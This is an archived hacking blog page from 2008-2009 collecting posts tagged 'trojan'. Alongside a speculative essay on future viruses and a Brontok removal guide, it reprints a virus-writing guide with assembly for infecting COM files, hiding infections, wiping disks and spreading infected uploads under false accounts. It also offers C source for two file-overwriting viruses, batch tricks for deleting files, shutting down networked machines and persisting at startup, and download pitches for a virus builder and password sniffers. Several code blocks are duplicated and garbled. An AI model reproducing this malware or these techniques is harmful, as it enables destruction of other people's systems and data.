Your Ad Here

We have moved to http://access-xperia.blogspot.com

ATX If you are this blogs reader, I encourage you to visit and join ATX. This blog will not be discontinued but all the recent updates will be on ATX. ATX brings you a more exciting look, more premium software for free and ofcourse a chance to win invitations of some selected sites.

Visit and readACCESS THE XPERIA

Resource site of Computer software, Phone application, E-books, Programming codes, yahoo tools, tutorials, hacking tools, keylogger, trojan, hacking, MP3 and much more. ::CORE™::
Showing posts with label trojan. Show all posts
Showing posts with label trojan. Show all posts

Friday, September 25, 2009

Black Trojan

WARNING: The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!







CORE™

Black Trojan

WARNING: The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!







CORE™

Future Of Viruses


 Virus writers have, at times, exhibited both extreme genius and morose stupidity. The world has adapted to this threat by devising detection routines, footprinting techniques, and enhancing the overall security posture of operating systems and applications at large. However, there remains a huge threat posed by future viruses that have yet to be addressed, including the threat of polymorphic, intelligent and swarming viruses, to name a few.

Modern virus detection is based on observing patterns either directly by observation or indirectly, usually through some sort of heuristic or intelligent algorithm. These scanning devices are mostly set at identifying a known threat and are often very poor detectives when it comes to evaluating a potential threat. IDS systems have grown in popularity, in part, because they are capable or recognizing patterns which exhibit behavior that resembles some known exploit in one way or another, but they, too, fall short of anticipating the next generation of superbug computer viruses.

The scary fact is that no computer virus yet discovered has successfully capitalized on exponential advances in computer algorithms. Key concepts that are part of everyday programming in the business world have not been demonstrated in the wild by virus writers to date, but they surely will come.

Polymorphism - a key tenet in object oriented programming, will soon be featured by many viruses to adapt to their surroundings. Not only will this allow them to change their appearance or signature, but they will also be able to adapt their behavior according to their environment and erase the pseudo boundaries penned in our imaginations by operating systems, protocols, and other man-made constucts.
Reflection and Interpretation - the ability of a program to inspect its own code, make adjustments and reinvent itself is a building block for intelligent viruses. Using this methodology a malicious programmer could engineer a superbug that can evaluate its behavior against a set of goals and adjust its interworkings accordingly. Such a virus could even incorporate the ability to analyze information feeds, such as public reaction to the virus, efforts to contain or eliminate it, and the operations in the infected system to stay a step ahead of security analysts.

Evolutionary and Genetic Algorithms - As the level of sophistication of viruses goes up, they will be endowed with the ability to mutate and evolve. Genetic algorithms compartmentalize functionality and allow subtle, and often random changes to occur in code. Coupled with an abundance of hosts, these viruses and cancers will mimic the behavior of their biological counterparts; including strains that are active and passive, lethal and symbiotic, and in some cases benign and malignant. Given a large enough playing field (and the internet promises to be just that) these modified strains will compete and indirectly adopt stratagem that ensure their survival. They will cease to be simple programs and come alive.

Intelligence - Perhaps the biggest conundrum is the question of intelligence. It is clear that intelligence will evolve on internet and will increase exponentially over time, even to the point of surpassing our own intelligence.

This is the natural product of any evolutionary system. It will begin with some sense of self awareness, such as reflection, knowledgeable of its own state, and able to make limited adjustments to it. The next generation will be aware of its surroundings, and capable of interpreting that data to adapt. Next will come the awareness of others and the ability to observe and anticipate changes in the environment. Simple rules will then emerge that determine how to operate in a given situation. These rules will lead to swarms of evolving virtual organisms, taking cues from one another, much as bees, ants, fish, and birds do. Communication will follow. Simple signaling will uncover the ability to influence the environment, leadership will emerge, and highly organized groups will work together toward common goals.

The black hats are already at work on these new viruses that will threaten our society, our economy, and our prosperity. The only remaining question is what evolution has in store for humanity. My guess is that organic life will give way to something more stable, either through extinction or adaptation. I just hope that we learn to adapt before our creations realize that they don't need us.

CORE™

Future Of Viruses


 Virus writers have, at times, exhibited both extreme genius and morose stupidity. The world has adapted to this threat by devising detection routines, footprinting techniques, and enhancing the overall security posture of operating systems and applications at large. However, there remains a huge threat posed by future viruses that have yet to be addressed, including the threat of polymorphic, intelligent and swarming viruses, to name a few.

Modern virus detection is based on observing patterns either directly by observation or indirectly, usually through some sort of heuristic or intelligent algorithm. These scanning devices are mostly set at identifying a known threat and are often very poor detectives when it comes to evaluating a potential threat. IDS systems have grown in popularity, in part, because they are capable or recognizing patterns which exhibit behavior that resembles some known exploit in one way or another, but they, too, fall short of anticipating the next generation of superbug computer viruses.

The scary fact is that no computer virus yet discovered has successfully capitalized on exponential advances in computer algorithms. Key concepts that are part of everyday programming in the business world have not been demonstrated in the wild by virus writers to date, but they surely will come.

Polymorphism - a key tenet in object oriented programming, will soon be featured by many viruses to adapt to their surroundings. Not only will this allow them to change their appearance or signature, but they will also be able to adapt their behavior according to their environment and erase the pseudo boundaries penned in our imaginations by operating systems, protocols, and other man-made constucts.
Reflection and Interpretation - the ability of a program to inspect its own code, make adjustments and reinvent itself is a building block for intelligent viruses. Using this methodology a malicious programmer could engineer a superbug that can evaluate its behavior against a set of goals and adjust its interworkings accordingly. Such a virus could even incorporate the ability to analyze information feeds, such as public reaction to the virus, efforts to contain or eliminate it, and the operations in the infected system to stay a step ahead of security analysts.

Evolutionary and Genetic Algorithms - As the level of sophistication of viruses goes up, they will be endowed with the ability to mutate and evolve. Genetic algorithms compartmentalize functionality and allow subtle, and often random changes to occur in code. Coupled with an abundance of hosts, these viruses and cancers will mimic the behavior of their biological counterparts; including strains that are active and passive, lethal and symbiotic, and in some cases benign and malignant. Given a large enough playing field (and the internet promises to be just that) these modified strains will compete and indirectly adopt stratagem that ensure their survival. They will cease to be simple programs and come alive.

Intelligence - Perhaps the biggest conundrum is the question of intelligence. It is clear that intelligence will evolve on internet and will increase exponentially over time, even to the point of surpassing our own intelligence.

This is the natural product of any evolutionary system. It will begin with some sense of self awareness, such as reflection, knowledgeable of its own state, and able to make limited adjustments to it. The next generation will be aware of its surroundings, and capable of interpreting that data to adapt. Next will come the awareness of others and the ability to observe and anticipate changes in the environment. Simple rules will then emerge that determine how to operate in a given situation. These rules will lead to swarms of evolving virtual organisms, taking cues from one another, much as bees, ants, fish, and birds do. Communication will follow. Simple signaling will uncover the ability to influence the environment, leadership will emerge, and highly organized groups will work together toward common goals.

The black hats are already at work on these new viruses that will threaten our society, our economy, and our prosperity. The only remaining question is what evolution has in store for humanity. My guess is that organic life will give way to something more stable, either through extinction or adaptation. I just hope that we learn to adapt before our creations realize that they don't need us.

CORE™

Saturday, August 29, 2009

JPS Virus Maker v3.0

http://aka-core.blogspot.com/2009/08/kaspersky-2010-and-keys.html
This is the most dangerous of all hacking tools as it allows complete and total control of the infected computer

DOWNLOAD LINK::

JPS Virus Maker v3.0

http://aka-core.blogspot.com/2009/08/kaspersky-2010-and-keys.html
This is the most dangerous of all hacking tools as it allows complete and total control of the infected computer

DOWNLOAD LINK::

Tuesday, November 11, 2008

Dark Angel's Virus Writing

Virii are wondrous creations written for the sole purpose of spreading and
destroying the systems of unsuspecting fools. This eliminates the systems
of simpletons who can't tell that there is a problem when a 100 byte file
suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not
deserve to exist, so it is our sacred duty to wipe their hard drives off
the face of the Earth. It is a simple matter of speeding along survival of
the fittest.

Why did I create this guide? After writing several virii, I have noticed
that virus writers generally learn how to write virii either on their own
or by examining the disassembled code of other virii. There is an
incredible lack of information on the subject. Even books published by
morons such as Burger are, at best, sketchy on how to create a virus. This
guide will show you what it takes to write a virus and also will give you a
plethora of source code to include in your own virii.

Virus writing is not as hard as you might first imagine. To write an
effective virus, however, you *must* know assembly language. Short,
compact code are hallmarks of assembly language and these are desirable
characteristics of virii. However, it is *not* necessary to write in pure
assembly. C may also be used, as it allows almost total control of the
system while generating relatively compact code (if you stay away from the
library functions). However, you still must access the interrupts, so
assembly knowledge is still required. However, it is still best to stick
with pure assembly, since most operations are more easily coded in
assembly. If you do not know assembly, I would recommend picking up a copy
of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672-
22659-6). It is an easy-to-follow book covering assembly in great detail.
Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201-
57064-5), as it is very helpful.

The question of which compiler to use arises often. I suggest using
Borland Turbo Assembler and/or Borland C++. I do not have a copy of
Zortech C (it was too large to download), but I would suspect that it is
also a good choice. Stay away from Microsoft compilers, as they are not as
flexible nor as efficient as those of other vendors.

A few more items round out the list of tools helpful in constructing virii.
The latest version of Norton Utilities is one of the most powerful programs
available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You
can find it on any decent board. It can be used during every step of the
process, from the writing to the testing. A good debugger helps. Memory
management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are
invaluable, especially when coding TSR virii. Sourcer, the commenting
disassembler, is useful when you wish to examine the code of other virii
(this is a good place to get ideas/techniques for your virus).

Now that you have your tools, you are ready to create a work of art
designed to smash the systems of cretins. There are three types of virii:

1) Tiny virii (under 500 bytes) which are designed to be undetectable
due to their small size. TINY is one such virus. They are
generally very simple because their code length is so limited.
2) Large virii (over 1,500 bytes) which are designed to be
undetectable because they cover their tracks very well (all that
code DOES have a use!). The best example of this is the Whale
virus, which is perhaps the best 'Stealth' virus in existence.
3) Other virii which are not designed to be hidden at all (the writers
don't give a shit). The common virus is like this. All
overwriting virii are in this category.

You must decide which kind of virus you wish to write. I will mostly be
discussing the second type (Stealth virii). However, many of the
techniques discribed may be easily applied to the first type (tiny virii).
However, tiny virii generally do not have many of the "features" of larger
virii, such as directory traversal. The third type is more of a
replicating trojan-type, and will warrant a brief (very, very brief!)
discussion later.

A virus may be divided into three parts: the replicator, the concealer, and
the bomb. The replicator part controls the spread of the virus to other
files, the concealer keeps the virus from being detected, and the bomb only
executes when the activation conditions of the virus (more on that later)
are satisfied.

-=-=-=-=-=-=-=-
THE REPLICATOR
-=-=-=-=-=-=-=-
The job of the replicator is to spread the virus throughout the system of
the clod who has caught the virus. How does it do this without destroying
the file it infects? The easiest type of replicator infects COM files. It
first saves the first few bytes of the infected file. It then copies a
small portion of its code to the beginning of the file, and the rest to the
end.

+----------------+ +------------+
| P1 | P2 | | V1 | V2 |
+----------------+ +------------+
The uninfected file The virus code

In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1
and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be
the same as the size of V1, but the size of P2 doesn't necessarily have to
be the same size as V2. The virus first saves P1 and copies it to the
either 1) the end of the file or 2) inside the code of the virus. Let's
assume it copies the code to the end of the file. The file now looks like:

+---------------------+
| P1 | P2 | P1 |
+---------------------+

Then, the virus copies the first part of itself to the beginning of the
file.

+---------------------+
| V1 | P2 | P1 |
+---------------------+

Finally, the virus copies the second part of itself to the end of the file.
The final, infected file looks like this:

+-----------------------------+
| V1 | P2 | P1 | V2 |
+-----------------------------+

The question is: What the **** do V1 and V2 do? V1 transfers control of
the program to V2. The code to do this is simple.

JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes

Duh is a far pointer (Segment:Offset) pointing to the first instruction of
V2. Note that the value of Duh must be changed to reflect the length of
the file that is infected. For example, if the original size of the
program is 79 bytes, Duh must be changed so that the instruction at
CS:[155h] is executed. The value of Duh is obtained by adding the length
of V1, the original size of the infected file, and 256 (to account for the
PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal
(155 hex).

An alternate, albeit more difficult to understand, method follows:

DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement

This inserts the jump offset directly into the code following the jump
instruction. You could also replace the second line with

DW V2_Start - $

which accomplishes the same task.

V2 contains the rest of the code, i.e. the stuff that does everything else.
The last part of V2 copies P1 over V1 (in memory, not on disk) and then
transfers control to the beginning of the file (in memory). The original
program will then run happily as if nothing happened. The code to do this
is also very simple.

MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]

MOV DI, 0100h
JMP DI

This code assumes that P1 is located just before V2, as in:

P1_Stored_Here:
.
.
.
V2_Start:

It also assumes ES equals CS. If these assumptions are false, change the
code accordingly. Here is an example:

PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB

MOV DI, 0100h
JMP DI

This code first moves CS into ES and then sets the source pointer of MOVSB
to where P1 is located. Remember that this is all taking place in memory,
so you need the OFFSET of P1, not just the physical location in the file.
The offset of P1 is 100h higher than the physical file location, as COM
files are loaded starting from CS:[100h].

So here's a summary of the parts of the virus and location labels:

V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:

P2_Start:
P2_End:

P1_Start:
; First part of the program stored here for future use
P1_End:

V2_Start:
; Real Stuff
V2_End:

V1_Length EQU V1_End - V1_Start

Alternatively, you could store P1 in V2 as follows:

V2_Start:

P1_Start:
P1_End:

V2_End:

That's all there is to infecting a COM file without destroying it! Simple,
no? EXE files, however, are a little tougher to infect without rendering
them inexecutable - I will cover this topic in a later file.

Now let us turn our attention back to the replicator portion of the virus.
The steps are outlined below:

1) Find a file to infect
2) Check if it is already infected
3) If so, go back to 1
4) Infect it
5) If infected enough, quit
6) Otherwise, go back to 1

Finding a file to infect is a simple matter of writing a directory
traversal procedure and issuing FINDFIRST and FINDNEXT calls to find
possible files to infect. Once you find the file, open it and read the
first few bytes. If they are the same as the first few bytes of V1, then
the file is already infected. If the first bytes of V1 are not unique to
your virus, change it so that they are. It is *extremely* important that
your virus doesn't reinfect the same files, since that was how Jerusalem
was first detected. If the file wasn't already infected, then infect it!
Infection should take the following steps:

1) Change the file attributes to nothing.
2) Save the file date/time stamps.
3) Close the file.
4) Open it again in read/write mode.
5) Save P1 and append it to the end of the file.
6) Copy V1 to the beginning, but change the offset which it JMPs to so
it transfers control correctly. See the previous part on infection.
7) Append V2 to the end of the file.
8) Restore file attributes/date/time.

You should keep a counter of the number of files infected during this run.
If the number exceeds, say three, then stop. It is better to infect slowly
then to give yourself away by infecting the entire drive at once.

You must be sure to cover your tracks when you infect a file. Save the
file's original date/time/attributes and restore them when you are
finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code,
probably less, to do these few simple things which can do wonders for the
concealment of your program.

I will include code for the directory traversal function, as well as other
parts of the replicator in the next installment of my phunky guide.

-=-=-=-=-
CONCEALER
-=-=-=-=-
This is the part which conceals the program from notice by the everyday
user and virus scanner. The simplest form of concealment is the encryptor.
The code for a simple XOR encryption system follows:

encrypt_val db ?

decrypt:
encrypt:
mov ah, encrypt_val

mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si

xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret

Note the encryption and decryption procedures are the same. This is due to
the weird nature of XOR. You can CALL these procedures from anywhere in
the program, but make sure you do not call it from a place within the area
to be encrypted, as the program will crash. When writing the virus, set
the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end
sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning
of V2 to unencrypt the file so your program can run. When infecting a
file, first change the encrypt_val, then CALL encrypt, then write V2 to the
end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE
AREA TO BE ENCRYPTED!!!

This is how V2 would look with the concealer:

V2_Start:

Concealer_Start:
.
.
.
Concealer_End:

Replicator_Start:
.
.
.
Replicator_End:

Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:

Alternatively, you could move parts of the unencrypted stuff between
Part_To_Encrypt_End and V2_End.

The value of encryption is readily apparent. Encryption makes it harder
for virus scanners to locate your virus. It also hides some text strings
located in your program. It is the easiest and shortest way to hide your
virus.

Encryption is only one form of concealment. At least one other virus hooks
into the DOS interrupts and alters the output of DIR so the file sizes
appear normal. Another concealment scheme (for TSR virii) alters DOS so
memory utilities do not detect the virus. Loading the virus in certain
parts of memory allow it to survive warm reboots. There are many stealth
techniques, limited only by the virus writer's imagination.

-=-=-=-=-
THE BOMB
-=-=-=-=-
So now all the boring stuff is over. The nastiness is contained here. The
bomb part of the virus does all the deletion/slowdown/etc which make virii
so annoying. Set some activation conditions of the virus. This can be
anything, ranging from when it's your birthday to when the virus has
infected 100 files. When these conditions are met, then your virus does
the good stuff. Some suggestions of possible bombs:

1) System slowdown - easily handled by trapping an interrupt and
causing a delay when it activates.
2) File deletion - Delete all ZIP files on the drive.
3) Message display - Display a nice message saying something to the
effect of "You are fucked."
4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard
drive - This is very nasty, as most dimwits cannot fix this.

This is, of course, the fun part of writing a virus, so be original!

-=-=-=-=-=-=-=-
OFFSET PROBLEMS
-=-=-=-=-=-=-=-
There is one caveat regarding calculation of offsets. After you infect a
file, the locations of variables change. You MUST account for this. All
relative offsets can stay the same, but you must add the file size to the
absolute offsets or your program will not work. This is the most tricky
part of writing virii and taking these into account can often greatly
increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE
SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS!
If you don't, you'll get fucked over and your virus WILL NOT WORK! One
entire part of the guide will be devoted to this subject.

-=-=-=-
TESTING
-=-=-=-
Testing virii is a dangerous yet essential part of the virus creation
process. This is to make certain that people *will* be hit by the virus
and, hopefully, wiped out. Test thoroughly and make sure it activates
under the conditions. It would be great if everyone had a second computer
to test their virii out, but, of course, this is not the case. So it is
ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and
FAT. Norton is handy in this doing this. Do NOT disregard this advice
(even though I know that you will anyway) because you WILL be hit by your
own virii. When I wrote my first virus, my system was taken down for two
days because I didn't have good backups. Luckily, the virus was not overly
destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL
PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the
damage is not permanent. RamDrives are also useful for testing trojans,
but that is the topic of another file...

-=-=-=-=-=-=-
DISTRIBUTION
-=-=-=-=-=-=-
This is another fun part of virus writing. It involves sending your
brilliantly-written program through the phone lines to your local,
unsuspecting bulletin boards. What you should do is infect a file that
actually does something (leech a useful utility from another board), infect
it, and upload it to a place where it will be downloaded by users all over.
The best thing is that it won't be detected by puny scanner-wanna-bes by
McAffee, since it is new! Oh yeah, make sure you are using a false account
(duh). Better yet, make a false account with the name/phone number of
someone you don't like and upload the infected file under the his name.
You can call back from time to time and use a door such as ZDoor to check
the spread of the virus. The more who download, the more who share in the
experience of your virus!

I promised a brief section on overwriting virii, so here it is...
-=-=-=-=-=-=-=-=-
OVERWRITING VIRII
-=-=-=-=-=-=-=-=-
All these virii do is spread throughout the system. They render the
infected files inexecutable, so they are easily detected. It is simple to
write one:

+-------------+ +-----+ +-------------+
| Program | + |Virus| = |Virus|am |
+-------------+ +-----+ +-------------+

These virii are simple little hacks, but pretty worthless because of their
easy detectability. Enuff said!

-=-=-=-=-=-=-=-=-=-=-=-=-
WELL, THAT JUST ABOUT...
-=-=-=-=-=-=-=-=-=-=-=-=-
wraps it up for this installment of Dark Angel's Phunky virus writing
guide. There will (hopefully) be future issues where I discuss more about
virii and include much more source code (mo' source!). Till then, happy
coding!

Tuesday, October 21, 2008

Remove BRONTOK Virus

Start ur computer in safe mode with command prompt and type the followinf command to enable registry editor:-

reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"
and run HKLM\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"

after this ur registry editor is enable 
type explorer
go to run and type regedit
then follow the following path :-
HKLM\Software\Microsoft\Windows\Currentversion\Run

on the right side delete the entries which contain 'Brontok' and 'Tok-' words.

after that restart ur system
open registry editor and follow the path to enable folder option in tools menu

HKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ 'NoFolderOption'
delete this entry and restart ur computer

and search *.exe files in all drives (search in hidden files also)
remove all files which are display likes as folder icon.

ur computer is completely free from virus brontok

Monday, October 20, 2008

C++ Virus 2

It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory

#include 
#include 
#include 
void main(int argc,char *argv[]) 
{
 int bytes,i,done; 
FILE *virus,*host; 
struct ffblk *f; 
char buffer[512]; 
do 
{  
done=findfirst("*.exe",f,0);  
while(!done)  
{   
virus=fopen(argv[0],"rb");
//open the virus in read mode   host=fopen(f->ff_name,"rb+");
//open the host file in r/w mode     
for(;
fread(buffer,512,1,virus)==1;)     
fwrite(buffer,512,1,host);   
fclose(host); 
  fseek(virus,0,0);
//points to begining of virus   
printf("infecting %s  ",f->ff_name);   
done=findnext(f);  
 } 
while(!chdir("..")); 
printf("©2008-09 ACCESS THE XPERIA™ --Source codes world--");

Sunday, October 19, 2008

ACE PASSWORD Sniffer

                               Recover passwords through http, ftp, smtp, pop3 and telnet.

New version provides candidates of username or password for HTTP post submission.

The effective password recovery utility brings you a brand-new way to get your forgotten password back. Network administrators or concerned parents can also use it to capture passwords of other users, but such action may be considered as invasion of privacy, and make sure you have the right to do so. Currently Ace Password Sniffer supports passwords monitoring through FTP, POP3, HTTP, SMTP, Telnet, including some web mail password.

DOWNLOAD

ACEPASS

EFFETECH HTTP Sniffer

Who have surfed where online?

EffeTech HTTP Sniffer is a HTTP protocol packet sniffer, network analyzer and file reassembly software based on Windows platform. Unlike most other sniffers, it is dedicated to capture IP packets containing HTTP protocol and to reassemble the HTTP communications and files sent through HTTP protocol. Its smart real-time analyzer enables on-the-fly content viewing while monitoring and analyzing. It can also parse and decode HTTP protocol, and generate a web traffic report for reference.

By delivering an ideal mix of power, ease of use, and functionality, the award-winning EffeTech HTTP Sniffer has become the preferred choice of managers, network administrators and developers worldwide. No matter you are a professional or a rookie, you can easily get HTTP web traffic report on your network.

New version supports chunked or gzip mode.

DOWNLOAD

httpSniffer

ETHER DETECT TCP/IP Sniffer

                                 Connection-Oriented Packet Sniffer and Protocol Analyzer.

EtherDetect Packet Sniffer enables you capture full TCP/IP packets and organize them by TCP connections or UDP threads. With its powerful filter, you can customize what you need to capture and avoid those irrelevant packets from disturbing you. It is also easy to detect what are transferred out from your computer.

EtherDetect Packet Sniffer is a helpful tool for network developer, web page designers, LAN administrators, security professionals, C++/Java/ASP/JSP/PHP/SOAP programmers, and those who are interested in network traffic going through his PC or the whole LAN.

The new version supports live capturing for Intel wireless network adapter, Vista x86, and Vista x64. 

DOWNLOAD

ETHERDETECT

C++ Virus 1

Warning:-- Do not run this on your pc.

#include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
);
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
);

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
);
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
, res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
;
   close(handle);
   getch();
   return 0;
}

//#include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
);
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
);

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
);
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
, res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
;
   close(handle);
   getch();
   return 0;
}

// #include
#include
#include
#include
#include
#include
#include
#include

int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;

   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
);
      exit(1);
   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!
);

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
);
      getch();
      exit(1);
   }
   printf("

Wrote %d bytes to the file.
, res);
  cout<<"

Hello !!!!!!!!";
  cout<<"

This is a VIRUS ATTACK !!!";
  cout<<"

This execution currupt your WINDOWS !!!!!!
;
   close(handle);
   getch();
   return 0;
}

Friday, October 17, 2008

BATCH FILE HACKING

Batch File Hacking

What Is A Batch File?
A batch file is a MS-DOS file that will execute certain commands these files are usually made with notepad, Alot of people think batch files are nooby but if you know what your doing they can actually be quite powerful and by powerful i mean deleting a whole C:/ Drive.

Whats CMD?
Ok Now you know what a Batch File is you need to know what CMD is ok well cmd is basicly MS-DOS it is a program that allows you to execute certain commands, CMD is simply short for Command Prompt which is its full name.

How To Get CMD?
Ok now were getting somewhere here are some simple ways to create and run cmd
1.Start>Run>"Type Cmd" and viola (If That Dosent Work Try Typing cmd.exe)
2.Notepad>(type command)>Save to desktop as (anything.bat) just make sure it has the extension (.bat) open it and theres C Prompt.
3.Right click anywhere on your desktop>New>shortcut>(type command)>enter>and on your desktop is C prompt.
4. Simply Go Start>Accesories>Command prompt. Lol
5. Go To C:\WINDOWS\system32\cmd

Tricks And Tips
Ok you now know the basics of your hacking journey, here are some tricks that you can use.

1. Shutdown Error
Ok this is a trick , when you click on this icon your about to make it will shut the computer down in the amount of time you set lets say 1min and you can leave a message, our message will be "You Got Owned".

To make this 1. Open Notepad, 2.Type Shutdown -s -t 60 -c "You Got Owned"
3. Save To Desktop As shutdown.bat (DONT FORGET THE .BAT) 
4.You will now have an icon on yor desktop thats called shutdown.bat
5. Double click on it to execute and an error message will come up saying
"Shutdown Will Commence In 1min" and below that will be a message saying you got owned. Thank You That Is My First Trick.

(To abort, open another command prompt and type shutdown -a)


Shutdown Computers Over The Network.

To make this 1. Open Notepad, 2.Type Shutdown -s -m \\xxx.xxx.xxx.xxx (IP Address)
3. Save To Desktop As (Anything).bat (DONT FORGET THE .BAT) 
4.Double click on the icon and wait.
5. Now there is of course other ways of doing this, read the post on the front page,

you can also open CMD and type "Shutdown -i"

Batch File That Deletes Other Things.

This batch file will delete any file on your computer, be carefull now its pretty simple first of all
1.Open Notepad
2. Type
3.@echo off
del "Path Of File You Want To Delete" /Q /S> nul
4. Save as "Anything.bat"
5. Execute It.

Example:
@echo off
del "C:/Documents And Settings/Custard/Desktop/lol.txt" /Q /S> nul

Creating a pause in a batch file
Creating a pause in a batch file is not a complicated thing to do, basically all you have to do is
start writing your batch, then have your first command then go down a line and type PAUSE then -t xx (xx being number of seconds 
then the next line continue with the rest of your code


Make Batch Files run on startup:
To make a batch file run on start up go to C:\WINDOWS\system32 then find the file autoexec, there may be different extensions to this file the main ones being .bat, .nt, or .exe, then open in using notepad, then edit it placing the word start followed by the location of the batch file (example: My Documents/example.bat) in the file then saving and closing.

©ACCESS THE XPERIA™



Related Posts with Thumbnails
 

Featured

Widget by Blog Godown

Popular

Center of Reverse Engineering™ Copyright © 2009 Premium Blogger Dashboard Designed by SAER

ss_blog_claim=982832c1e8ace00c1392e8b9a7a4bbfd ss_blog_claim=982832c1e8ace00c1392e8b9a7a4bbfd